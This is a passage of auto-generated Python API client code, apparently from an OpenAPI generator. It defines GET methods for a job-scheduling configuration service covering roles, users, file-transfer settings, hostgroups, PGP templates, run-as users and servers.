def get_all_roles_associated_with_organization_group_with_http_info(self, organizationgroup, **kwargs): # noqa: E501
"""Get Authorization Roles associated with an organization group # noqa: E501
Get Authorization Roles associated with an organization group # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_all_roles_associated_with_organization_group_with_http_info(organizationgroup, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str organizationgroup: Name of organization group (required)
:param str role: The Role name.
:return: list[str]
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['organizationgroup', 'role'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_all_roles_associated_with_organization_group" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'organizationgroup' is set
if self.api_client.client_side_validation and ('organizationgroup' not in params or
params['organizationgroup'] is None): # noqa: E501
raise ValueError("Missing the required parameter `organizationgroup` when calling `get_all_roles_associated_with_organization_group`") # noqa: E501
collection_formats = {}
path_params = {}
if 'organizationgroup' in params:
path_params['organizationgroup'] = params['organizationgroup'] # noqa: E501
query_params = []
if 'role' in params:
query_params.append(('role', params['role'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/authorization/organizationgroup/{organizationgroup}/roles', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[str]', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_all_users(self, **kwargs): # noqa: E501
"""Get users # noqa: E501
Get users # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_all_users(async_req=True)
>>> result = thread.get()
:param async_req bool
:param str name: The user name.
:param str full_name: The user full name.
:param str description: The user description.
:return: list[UserHeader]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_all_users_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.get_all_users_with_http_info(**kwargs) # noqa: E501
return data
def get_all_users_with_http_info(self, **kwargs): # noqa: E501
"""Get users # noqa: E501
Get users # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_all_users_with_http_info(async_req=True)
>>> result = thread.get()
:param async_req bool
:param str name: The user name.
:param str full_name: The user full name.
:param str description: The user description.
:return: list[UserHeader]
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['name', 'full_name', 'description'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_all_users" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
if 'name' in params:
query_params.append(('name', params['name'])) # noqa: E501
if 'full_name' in params:
query_params.append(('fullName', params['full_name'])) # noqa: E501
if 'description' in params:
query_params.append(('description', params['description'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/authorization/users', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[UserHeader]', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_fts_settings(self, server, agent, **kwargs): # noqa: E501
"""Get File Transfer Server (FTS) configuration data. # noqa: E501
Get File Transfer Server (FTS) configuration data. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_fts_settings(server, agent, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server (required)
:param str agent: The Agent (required)
:return: FtsSettingsData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_fts_settings_with_http_info(server, agent, **kwargs) # noqa: E501
else:
(data) = self.get_fts_settings_with_http_info(server, agent, **kwargs) # noqa: E501
return data
def get_fts_settings_with_http_info(self, server, agent, **kwargs): # noqa: E501
"""Get File Transfer Server (FTS) configuration data. # noqa: E501
Get File Transfer Server (FTS) configuration data. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_fts_settings_with_http_info(server, agent, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server (required)
:param str agent: The Agent (required)
:return: FtsSettingsData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['server', 'agent'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_fts_settings" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'server' is set
if self.api_client.client_side_validation and ('server' not in params or
params['server'] is None): # noqa: E501
raise ValueError("Missing the required parameter `server` when calling `get_fts_settings`") # noqa: E501
# verify the required parameter 'agent' is set
if self.api_client.client_side_validation and ('agent' not in params or
params['agent'] is None): # noqa: E501
raise ValueError("Missing the required parameter `agent` when calling `get_fts_settings`") # noqa: E501
collection_formats = {}
path_params = {}
if 'server' in params:
path_params['server'] = params['server'] # noqa: E501
if 'agent' in params:
path_params['agent'] = params['agent'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/server/{server}/agent/{agent}/mft/fts/settings', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='FtsSettingsData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_hostgroups(self, server, **kwargs): # noqa: E501
"""get Server hostgroups # noqa: E501
Get all the hostgroups of the specified Server. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_hostgroups(server, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server the hostgroups belong to. (required)
:return: StringListResult
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_hostgroups_with_http_info(server, **kwargs) # noqa: E501
else:
(data) = self.get_hostgroups_with_http_info(server, **kwargs) # noqa: E501
return data
def get_hostgroups_with_http_info(self, server, **kwargs): # noqa: E501
"""get Server hostgroups # noqa: E501
Get all the hostgroups of the specified Server. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_hostgroups_with_http_info(server, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server the hostgroups belong to. (required)
:return: StringListResult
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['server'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_hostgroups" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'server' is set
if self.api_client.client_side_validation and ('server' not in params or
params['server'] is None): # noqa: E501
raise ValueError("Missing the required parameter `server` when calling `get_hostgroups`") # noqa: E501
collection_formats = {}
path_params = {}
if 'server' in params:
path_params['server'] = params['server'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/server/{server}/hostgroups', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='StringListResult', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_hosts_in_group(self, server, hostgroup, **kwargs): # noqa: E501
"""get hostgroup agents # noqa: E501
Get the agents that compose the specified hostgroup # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_hosts_in_group(server, hostgroup, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server the hostgroup belongs to. (required)
:param str hostgroup: The hostgroup name (required)
:return: AgentsInGroupListResult
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_hosts_in_group_with_http_info(server, hostgroup, **kwargs) # noqa: E501
else:
(data) = self.get_hosts_in_group_with_http_info(server, hostgroup, **kwargs) # noqa: E501
return data
def get_hosts_in_group_with_http_info(self, server, hostgroup, **kwargs): # noqa: E501
"""get hostgroup agents # noqa: E501
Get the agents that compose the specified hostgroup # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_hosts_in_group_with_http_info(server, hostgroup, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server the hostgroup belongs to. (required)
:param str hostgroup: The hostgroup name (required)
:return: AgentsInGroupListResult
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['server', 'hostgroup'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_hosts_in_group" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'server' is set
if self.api_client.client_side_validation and ('server' not in params or
params['server'] is None): # noqa: E501
raise ValueError("Missing the required parameter `server` when calling `get_hosts_in_group`") # noqa: E501
# verify the required parameter 'hostgroup' is set
if self.api_client.client_side_validation and ('hostgroup' not in params or
params['hostgroup'] is None): # noqa: E501
raise ValueError("Missing the required parameter `hostgroup` when calling `get_hosts_in_group`") # noqa: E501
collection_formats = {}
path_params = {}
if 'server' in params:
path_params['server'] = params['server'] # noqa: E501
if 'hostgroup' in params:
path_params['hostgroup'] = params['hostgroup'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/server/{server}/hostgroup/{hostgroup}/agents', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='AgentsInGroupListResult', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_identity_provider_metadata(self, **kwargs): # noqa: E501
"""Get identity Provider Metadata file # noqa: E501
Get identity Provider Metadata file # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_identity_provider_metadata(async_req=True)
>>> result = thread.get()
:param async_req bool
:return: str
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_identity_provider_metadata_with_http_info(**kwargs) # noqa: E501
else:
(data) = self.get_identity_provider_metadata_with_http_info(**kwargs) # noqa: E501
return data
def get_identity_provider_metadata_with_http_info(self, **kwargs): # noqa: E501
"""Get identity Provider Metadata file # noqa: E501
Get identity Provider Metadata file # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_identity_provider_metadata_with_http_info(async_req=True)
>>> result = thread.get()
:param async_req bool
:return: str
If the method is called asynchronously,
returns the request thread.
"""
all_params = [] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_identity_provider_metadata" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
path_params = {}
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json', 'application/xml']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/systemsettings/saml2identityprovidermetadata', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='str', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_mft_configuration(self, server, agent, **kwargs): # noqa: E501
"""Get MFT Configuration # noqa: E501
Get MFT Configuration # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_mft_configuration(server, agent, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server (required)
:param str agent: The Agent (required)
:return: MftConfigurationData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_mft_configuration_with_http_info(server, agent, **kwargs) # noqa: E501
else:
(data) = self.get_mft_configuration_with_http_info(server, agent, **kwargs) # noqa: E501
return data
def get_mft_configuration_with_http_info(self, server, agent, **kwargs): # noqa: E501
"""Get MFT Configuration # noqa: E501
Get MFT Configuration # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_mft_configuration_with_http_info(server, agent, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server (required)
:param str agent: The Agent (required)
:return: MftConfigurationData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['server', 'agent'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_mft_configuration" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'server' is set
if self.api_client.client_side_validation and ('server' not in params or
params['server'] is None): # noqa: E501
raise ValueError("Missing the required parameter `server` when calling `get_mft_configuration`") # noqa: E501
# verify the required parameter 'agent' is set
if self.api_client.client_side_validation and ('agent' not in params or
params['agent'] is None): # noqa: E501
raise ValueError("Missing the required parameter `agent` when calling `get_mft_configuration`") # noqa: E501
collection_formats = {}
path_params = {}
if 'server' in params:
path_params['server'] = params['server'] # noqa: E501
if 'agent' in params:
path_params['agent'] = params['agent'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/server/{server}/agent/{agent}/mft/configuration', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='MftConfigurationData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_pgp_templates(self, server, agent, **kwargs): # noqa: E501
"""Get PGP Templates # noqa: E501
Get PGP Templates # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_pgp_templates(server, agent, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server (required)
:param str agent: The Agent (required)
:param str name: The PGP Template Name
:return: list[PgpTemplateData]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_pgp_templates_with_http_info(server, agent, **kwargs) # noqa: E501
else:
(data) = self.get_pgp_templates_with_http_info(server, agent, **kwargs) # noqa: E501
return data
def get_pgp_templates_with_http_info(self, server, agent, **kwargs): # noqa: E501
"""Get PGP Templates # noqa: E501
Get PGP Templates # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_pgp_templates_with_http_info(server, agent, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server (required)
:param str agent: The Agent (required)
:param str name: The PGP Template Name
:return: list[PgpTemplateData]
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['server', 'agent', 'name'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_pgp_templates" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'server' is set
if self.api_client.client_side_validation and ('server' not in params or
params['server'] is None): # noqa: E501
raise ValueError("Missing the required parameter `server` when calling `get_pgp_templates`") # noqa: E501
# verify the required parameter 'agent' is set
if self.api_client.client_side_validation and ('agent' not in params or
params['agent'] is None): # noqa: E501
raise ValueError("Missing the required parameter `agent` when calling `get_pgp_templates`") # noqa: E501
collection_formats = {}
path_params = {}
if 'server' in params:
path_params['server'] = params['server'] # noqa: E501
if 'agent' in params:
path_params['agent'] = params['agent'] # noqa: E501
query_params = []
if 'name' in params:
query_params.append(('name', params['name'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/server/{server}/agent/{agent}/mft/pgptemplates', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[PgpTemplateData]', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_role(self, role, **kwargs): # noqa: E501
"""Get Authorization Role # noqa: E501
Get Authorization Role # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_role(role, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str role: The Role name. (required)
:return: RoleData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_role_with_http_info(role, **kwargs) # noqa: E501
else:
(data) = self.get_role_with_http_info(role, **kwargs) # noqa: E501
return data
def get_role_with_http_info(self, role, **kwargs): # noqa: E501
"""Get Authorization Role # noqa: E501
Get Authorization Role # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_role_with_http_info(role, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str role: The Role name. (required)
:return: RoleData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['role'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_role" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'role' is set
if self.api_client.client_side_validation and ('role' not in params or
params['role'] is None): # noqa: E501
raise ValueError("Missing the required parameter `role` when calling `get_role`") # noqa: E501
collection_formats = {}
path_params = {}
if 'role' in params:
path_params['role'] = params['role'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/authorization/role/{role}', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='RoleData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_role_associates(self, role, **kwargs): # noqa: E501
"""Get all authorization entities associated with role # noqa: E501
Get all authorization entities associated with role # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_role_associates(role, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str role: role name. (required)
:return: list[AssociateData]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_role_associates_with_http_info(role, **kwargs) # noqa: E501
else:
(data) = self.get_role_associates_with_http_info(role, **kwargs) # noqa: E501
return data
def get_role_associates_with_http_info(self, role, **kwargs): # noqa: E501
"""Get all authorization entities associated with role # noqa: E501
Get all authorization entities associated with role # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_role_associates_with_http_info(role, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str role: role name. (required)
:return: list[AssociateData]
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['role'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_role_associates" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'role' is set
if self.api_client.client_side_validation and ('role' not in params or
params['role'] is None): # noqa: E501
raise ValueError("Missing the required parameter `role` when calling `get_role_associates`") # noqa: E501
collection_formats = {}
path_params = {}
if 'role' in params:
path_params['role'] = params['role'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/authorization/role/{role}/associates', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[AssociateData]', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_run_as_user(self, server, agent, user, **kwargs): # noqa: E501
"""Get Run-as user # noqa: E501
Get Run-as user details from server. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_run_as_user(server, agent, user, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server. (required)
:param str agent: The Agent (required)
:param str user: The user name (required)
:return: RunAsUserData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_run_as_user_with_http_info(server, agent, user, **kwargs) # noqa: E501
else:
(data) = self.get_run_as_user_with_http_info(server, agent, user, **kwargs) # noqa: E501
return data
def get_run_as_user_with_http_info(self, server, agent, user, **kwargs): # noqa: E501
"""Get Run-as user # noqa: E501
Get Run-as user details from server. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_run_as_user_with_http_info(server, agent, user, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server. (required)
:param str agent: The Agent (required)
:param str user: The user name (required)
:return: RunAsUserData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['server', 'agent', 'user'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_run_as_user" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'server' is set
if self.api_client.client_side_validation and ('server' not in params or
params['server'] is None): # noqa: E501
raise ValueError("Missing the required parameter `server` when calling `get_run_as_user`") # noqa: E501
# verify the required parameter 'agent' is set
if self.api_client.client_side_validation and ('agent' not in params or
params['agent'] is None): # noqa: E501
raise ValueError("Missing the required parameter `agent` when calling `get_run_as_user`") # noqa: E501
# verify the required parameter 'user' is set
if self.api_client.client_side_validation and ('user' not in params or
params['user'] is None): # noqa: E501
raise ValueError("Missing the required parameter `user` when calling `get_run_as_user`") # noqa: E501
collection_formats = {}
path_params = {}
if 'server' in params:
path_params['server'] = params['server'] # noqa: E501
if 'agent' in params:
path_params['agent'] = params['agent'] # noqa: E501
if 'user' in params:
path_params['user'] = params['user'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/server/{server}/runasuser/{agent}/{user}', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='RunAsUserData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_run_as_users_list(self, server, **kwargs): # noqa: E501
"""Get Run-as user list that match the requested search criteria. # noqa: E501
Get Run-as user list that match the requested search criteria from server. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_run_as_users_list(server, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server. (required)
:param str user: The Run-as user.
:param str agent: The agent.
:return: RunAsUsersList
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_run_as_users_list_with_http_info(server, **kwargs) # noqa: E501
else:
(data) = self.get_run_as_users_list_with_http_info(server, **kwargs) # noqa: E501
return data
def get_run_as_users_list_with_http_info(self, server, **kwargs): # noqa: E501
"""Get Run-as user list that match the requested search criteria. # noqa: E501
Get Run-as user list that match the requested search criteria from server. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_run_as_users_list_with_http_info(server, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server. (required)
:param str user: The Run-as user.
:param str agent: The agent.
:return: RunAsUsersList
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['server', 'user', 'agent'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_run_as_users_list" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'server' is set
if self.api_client.client_side_validation and ('server' not in params or
params['server'] is None): # noqa: E501
raise ValueError("Missing the required parameter `server` when calling `get_run_as_users_list`") # noqa: E501
collection_formats = {}
path_params = {}
if 'server' in params:
path_params['server'] = params['server'] # noqa: E501
query_params = []
if 'user' in params:
query_params.append(('user', params['user'])) # noqa: E501
if 'agent' in params:
query_params.append(('agent', params['agent'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/server/{server}/runasusers', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='RunAsUsersList', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_servers(self, **kwargs): # noqa: E501
"""get all the Servers name and hostname in the system # noqa: E501
Get the names and hostnames of all Servers in the system. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_servers(async_req=True)
>>> result = thread.get()
:param async_req bool
:return: CtmDetailsList
If the method is called asynchronously,
returns the request thread.
"""
